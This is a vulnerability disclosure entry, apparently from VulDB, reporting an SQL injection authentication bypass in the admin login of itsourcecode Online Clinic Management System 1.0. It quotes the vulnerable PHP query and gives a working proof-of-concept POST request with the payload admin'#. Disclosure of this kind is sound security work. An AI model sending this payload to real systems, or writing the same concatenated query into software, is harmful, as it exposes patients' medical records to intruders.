| 标题 | itsourcecode Online Clinic Management System 1.0 SQL Injection |
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| 描述 | Description:
The admin login uses `htmlspecialchars()` with default `ENT_COMPAT` flag which only escapes double quotes, NOT single quotes. Combined with raw SQL concatenation and MD5 password hashing, this enables SQL injection auth bypass via `admin'#`.
Vulnerable Code:
**File**: `success/login.php`, Lines 17-35
```php
$email = $_POST['username'];
$fpass = $_POST['password'];
// check_input() uses htmlspecialchars(), ENT_COMPAT doesn't escape single quotes
$query = "SELECT * FROM admin WHERE username='$email' AND password=MD5('$fpass')";
$result = mysqli_query($con, $query);
```
Proof of Concept:
```http
POST /success/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=anything
```
Impact:
- Complete admin authentication bypass
- Full access to clinic patient records, prescriptions, equipment data
- Union injection enabled — full database extraction
Reference: https://github.com/microwaveabi/vul/issues/63 |
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| 来源 | ⚠️ https://github.com/microwaveabi/vul/issues/63 |
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| 用户 | microwave (UID 96185) |
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| 提交 | 2026-07-11 05時18分 (1 月前) |
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| 管理 | 2026-08-24 07時43分 (1 month later) |
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| 状态 | 已接受 |
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| VulDB条目 | 394596 [itsourcecode Online Clinic Management System 1.0 Admin Login success/login.php 用户名 SQL注入] |
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| 积分 | 20 |
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